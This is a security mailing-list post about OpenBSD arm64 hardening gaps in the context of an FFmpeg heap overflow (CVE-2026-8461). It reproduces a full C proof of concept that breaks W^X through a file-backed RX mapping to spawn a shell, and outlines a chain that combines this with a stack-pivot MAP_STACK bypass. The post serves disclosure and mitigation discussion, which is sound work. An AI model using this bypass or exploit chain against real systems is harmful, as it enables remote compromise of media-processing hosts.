Skip to site navigation (Press enter) Revisiting: Stack pivot, W^X break — in the context of CVE-2026-8461 (PixelSmash) nibletz Thu, 25 Jun 2026 15:07:28 -0700
Hello,
Disclaimer: I used Claude to organize my thoughts on this.
This is a follow-up to the thread from January [1] which raised two separate
issues: a MAP_STACK bypass via stack pivot jumpback, originally discussed by
Ali Polatel on oss-security [2], and a W^X break via file-backed RX mapping,
originally reported against HardenedBSD [3] and confirmed working on OpenBSD in
the same thread.
The discussion in that thread concluded with the observation that "the burglar
is already inside the house" — implying these techniques require prior code
execution and are therefore not independently significant. I'd like to offer a
concrete counterexample to that framing.
CVE-2026-8461 (PixelSmash), disclosed last week, is a heap out-of-bounds write
in FFmpeg's MagicYUV decoder affecting any application using libavcodec,
including applications that process untrusted AVI, MKV, or MOV files. JFrog
demonstrated remote code execution against Jellyfin on Linux by corrupting the
AVBuffer.free function pointer via a crafted 50KB media file delivered to an
automated library scan pipeline — no user interaction beyond file delivery
required.
On OpenBSD, several mitigations raise the bar considerably: omalloc's heap
layout randomization, ASLR, RetGuard, IBT/BTI on capable hardware, pinsyscalls,
mimmutable, and library relinking collectively make the Linux exploit technique
not directly portable. However, on arm64 hardware without PAC, BTI, or
hardware-enforced CFI — which describes a wide range of commonly deployed arm64
hardware — the two techniques from the January thread become directly relevant
as the missing links completing a realistic exploit chain from that initial
heap corruption primitive.
W^X bypass via file-backed RX mapping
The original HardenedBSD GitLab issue [3] is no longer accessible — HardenedBSD
has since migrated from GitLab to Radicle [4]. However, the technique was
confirmed working on OpenBSD arm64 in the January thread, and a subsequent
update by the author confirmed it pops a shell despite pinsyscalls via a libc
trampoline. The PoC (authored by Ali Polatel <[email protected]>, reproduced
here for archival purposes as the original link is broken) is as follows:
``` c
// poc_wx_bypass.c
//
// Proof-of-Concept: W^X bypass via file-backed RX mapping
// Author: Ali Polatel <[email protected]>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
static char *shell_path = "/bin/sh";
static char **shell_argv;
static char **shell_envp;
static void __attribute__((noinline)) exec_shell(void)
{
execve(shell_path, shell_argv, shell_envp);
_exit(127);
}
#if defined(__x86_64__)
static unsigned char trampoline_code[] = {
0xc3 /* ret */
};
#elif defined(__aarch64__)
static unsigned char trampoline_code[] = {
0xc0, 0x03, 0x5f, 0xd6 /* ret (uses x30/lr) */
};
#elif defined(__i386__)
static unsigned char trampoline_code[] = {
0xc3 /* ret */
};
#else
#error "Architecture not supported. Please implement trampoline code."
#endif
static void __attribute__((noinline, noreturn))
call_trampoline(void *code_addr)
{
#if defined(__x86_64__)
asm volatile("push %0\n\t"
"jmp *%1\n\t"
:
: "r"((uintptr_t)exec_shell), "r"(code_addr)
: "memory");
#elif defined(__aarch64__)
asm volatile("mov x30, %0\n\t"
"br %1\n\t"
:
: "r"((uintptr_t)exec_shell), "r"(code_addr)
: "x30", "memory");
#elif defined(__i386__)
asm volatile("push %0\n\t"
"jmp *%1\n\t"
:
: "r"((uintptr_t)exec_shell), "r"(code_addr)
: "memory");
#else
#error "Architecture not supported."
#endif
__builtin_unreachable();
}
int main(int argc, char **argv, char **envp)
{
const char *path = "./mmap";
int fd;
void *addr;
size_t len;
/* Set up shell arguments. */
static char *default_argv[] = {"/bin/sh", NULL};
shell_argv = (argc > 1) ? &argv[1] : default_argv;
shell_envp = envp;
/* Create backing file. */
fd = open(path, O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);
if (fd < 0) {
perror("open");
exit(EXIT_FAILURE);
}
/* Map RX.
* MAP_PRIVATE isn't necessary, MAP_SHARED works too...
*/
len = sizeof(trampoline_code);
addr = mmap(NULL, len, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) {
perror("mmap");
close(fd);
unlink(path);
exit(EXIT_FAILURE);
}
/* Overwrite backing file. */
if (lseek(fd, 0, SEEK_SET) < 0 ||
write(fd, trampoline_code, len) != (ssize_t)len) {
perror("write");
munmap(addr, len);
close(fd);
unlink(path);
exit(EXIT_FAILURE);
}
/* Close file:
* This will sync the contents to the RO-memory area,
* which breaks W^X! */
close(fd);
/* Jump into RX mapping! */
call_trampoline(addr);
/* Cleanup (not reached if shell succeeds). */
munmap(addr, len);
unlink(path);
return EXIT_FAILURE;
}
The technique maps a file RX, then writes attacker-controlled code to the file descriptor — never holding write and execute permissions on the same mapping simultaneously — then closes the file, syncing the content into the RX mapping. W^X is never technically violated at the mmap level, but executable attacker-controlled code results. Pinsyscalls is addressed by routing through a legitimate libc trampoline rather than calling execve directly from injected code.
HardenedBSD addressed this class of issue in their August 2025 status report [5] by integrating Trusted Path Execution with mmap(PROT_EXEC) on file-backed mappings. OpenBSD has no equivalent protection.
MAP_STACK bypass via stack pivot jumpback
Ali Polatel's stack pivot jumpback bypass [6] sidesteps MAP_STACK detection by pivoting to a heap-allocated stack for intermediate work, then pivoting back to the original legitimate stack before making any syscall. The kernel's SP check at the syscall boundary never sees an invalid stack pointer. This was confirmed working on OpenBSD arm64 in the January thread. Crucially, no syscalls are made while on the heap stack — as noted in the thread, the bypass specifically avoids crossing any syscall boundary while off the legitimate stack.
In combination
In the context of PixelSmash on arm64 without PAC/BTI:
- The heap overflow primitive corrupts AVBuffer.free to redirect control flow
- omalloc and ASLR require a precise info leak — the FlashSV decoder bug noted in the JFrog writeup is a candidate, though chaining it reliably to reveal specific heap object addresses requires further research
- With control flow redirected, the stack pivot jumpback technique provides a path to execute arbitrary code while evading MAP_STACK detection
- The file-backed RX mapping bypass provides a means to get attacker-controlled code into an executable mapping without violating W^X
- The libc trampoline approach routes execve through the pinned libc stub, satisfying pinsyscalls
The result is a plausible path from an unauthenticated media file to a shell on an OpenBSD arm64 system running a vulnerable FFmpeg version, on hardware that is in common use.
The immediate mitigation is to update FFmpeg to 8.1.2 and avoid automated processing of untrusted media. The underlying gaps in MAP_STACK enforcement and W^X via file-backed mappings remain open questions.
Is there interest in addressing either of these, or a technical reason they are considered out of scope?
With respect, Nibletz
[1] https://go.mail-archive.com/[email protected]/msg196619.html [2] https://seclists.org/oss-sec/2026/q1/48 [3] https://git.hardenedbsd.org/hardenedbsd/HardenedBSD/-/issues/107 (no longer accessible — HardenedBSD migrated to Radicle) [4] https://hardenedbsd.org/article/shawn-webb/2026-04-26/hardenedbsd-officially-radicle [5] https://hardenedbsd.org/article/shawn-webb/2025-08-30/hardenedbsd-august-2025-status-report [6] https://gitlab.exherbo.org/sydbox/sydbox/-/blob/main/dev/stackpivot-jumpback-bypass.c
Previous message
View by thread
View by date
Next message
Reply via email to
Search the site
The Mail Archive home
misc - all messages
misc - about the list
Previous message
Next message